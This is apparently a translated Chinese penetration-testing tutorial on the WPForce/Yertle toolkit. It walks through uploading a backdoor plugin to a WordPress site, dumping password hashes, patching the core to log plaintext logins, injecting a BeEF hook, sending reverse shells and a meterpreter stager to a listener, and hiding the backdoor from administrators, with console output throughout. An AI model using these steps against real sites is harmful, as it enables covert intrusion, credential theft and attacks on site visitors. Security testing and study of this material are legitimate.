导语:在渗透测试过程中,我们可能会遇到运行WordPress的Web服务器。虽然Web服务器上的大多数WordPress服务器都配置了强大的密码和安全插件,但内部网络很少出现这种情况。

timg.jpg

在渗透测试过程中,我们可能会遇到运行WordPress的Web服务器。虽然Web服务器上的大多数WordPress服务器都配置了强大的密码和安全插件,但内部网络很少出现这种情况。因此,攻击者经常可以在过时的WordPress版本中找到漏洞,或者就是简单地对管理密码进行猜测。一旦攻击者猜到管理密码,就可以对其他系统进行攻击。除了特权提升之外,还可以使用WordPress本身对客户端发起一些其他攻击。

为了方便测试,我们将使用自己开发的用于测试WordPress的工具——WPForce。WPForce和WPScan相比,具有以下2个优点:

1.与WPScan不同,WPScan会再次执行WordPress的登录页面;

2.WPForce会使用经过身份验证的API调用来测试登录凭据的有效性:

1491983413226227.png

识别有效的登录凭据后,WPForce套件——Yertle中的配套脚本可用于将后门上传到WordPress服务器上并执行多个后期开发模块。运行Yertle比较简单,只需提供URL,用户名,密码和后门类型即可。虽然有两种类型的后门可供上传,但我们更喜欢-interactive选项:

1491983413226227.png

一旦我们开始运行脚本,WPForce就将登录到WordPress站点并上传一个插件。也就是说,我们只需要提供-e参数并上传目录名称,就可以随时访问这个后门:

这个插件就会采取类似于SQLmap的os-shell的命令,要查看可用的模块,可以输入“help”或“?”:

os-shell> help
 
Core Commands
=============
 
Command                   Description
-------                   -----------
?                         Help menu
beef                      Injects a BeEF hook into website
exit                      Terminate the session
hashdump                  Dumps all WordPress password hashes
help                      Help menu
keylogger                 Patches WordPress core to log plaintext credentials
keylog                    Displays keylog file
meterpreter               Executes a PHP meterpreter stager to connect to metasploit
quit                      Terminate the session
shell                     Sends a TCP reverse shell to a netcat listener
stealth                   Hides Yertle from the plugins page

我们可以运行的一个有用的后期开发模块是hashdump,hashdump会登录SQL数据库,查询包含密码的哈希值,并返回输出。然后,我们可以破解这些散列,并开始尝试使用这些登录凭证攻击其他系统:

os-shell> hashdump
ID: 1  - Username: admin  Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1  Email: [email protected]
ID: 2  - Username: wpuser  Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S.  Email: [email protected]
ID: 3  - Username: n00py  Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/.  Email: [email protected]
 
os-shell>

不仅可以收集散列,还可以收集明文凭证。通过在WordPress核心中修补PHP文件,我们可以在用户认证时以明文形式记录所有密码:

os-shell> keylogger
This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y
wp_signon function patched.  Do not run this more than once.  Use 'keylog' to check the log file.
os-shell>

经过警告后,用户将会对WordPress核心进行修改,验证功能将被修补:

6.png

等待用户登录后,我们可以通过键入“keylog”来查看日志文件来查看明文凭据:

os-shell> keylog
2017-03-30 - Username:  && Password:
2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword

除了查看登录凭据外,我们还可以利用BeEF控制目标主机的浏览器, Beef目前欧美最流行的WEB框架攻击平台,全称:The Browser Exploitation Framework Project. Beef利用简单的XSS漏洞,通过一段编写好的JavaScript(hook.js)控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网:

os-shell> beef
This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y
IP Address: 10.0.1.16
BeEF hook added!  Check BeEF for any hooked clients. Do not run this multiple times.

注入hook后,我们只需要等待用户浏览网站即可,一旦用户浏览网站,这些网站就立马被hook了。接下来,我们就可以发送任何我们想要的JavaScript有效载荷, BeEF包含可以针对客户端启动的大量攻击:

1491983598285526.png

有效载荷在客户端的浏览器中执行:

1491983605958388.png

与这些模块一样有用的还有另一种类型的shell,这时我们有两个选项可供选择:常规的反向TCP shell和一个被PHP篡改的shell。要升级到完全交互的shell,只需运行:

os-shell> shell
IP Address: 10.0.1.4
Port: 8080
Sending reverse shell to 10.0.1.4 port 8080
os-shell>

并在所选端口上进行监控:

[email protected]:~/WPForce$ nc -l 8080
bash: no job control in this shell
[email protected]:/var/www/wordpress/wp-content/plugins/aekpmsu$

如果我们想要一个更换shell,可以加载metasploit并运行:

os-shell> meterpreter
IP Address: 10.0.1.4
Port: 4444
Sending meterpreter stager to connect back to 10.0.1.4:4444
os-shell>

并在metasploit内接收更换:

[*] Started reverse handler on 10.0.1.4:4444
[*] Starting the payload handler...
[*] Sending stage (33068 bytes) to 10.0.1.21
[*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600

最后,使用WPForce时,有几种方法可以使这个检测工具更加隐蔽。默认情况下,该模块将其自身注册为WordPress中的插件,此插件对管理员来说是可见的:

1491983679569738.png

要让后门从插件屏幕中“消失”,只需简单的运行命令“隐形”,隐形后,后门仍然可以访问:

os-shell> stealth
源链接

Hacking more

...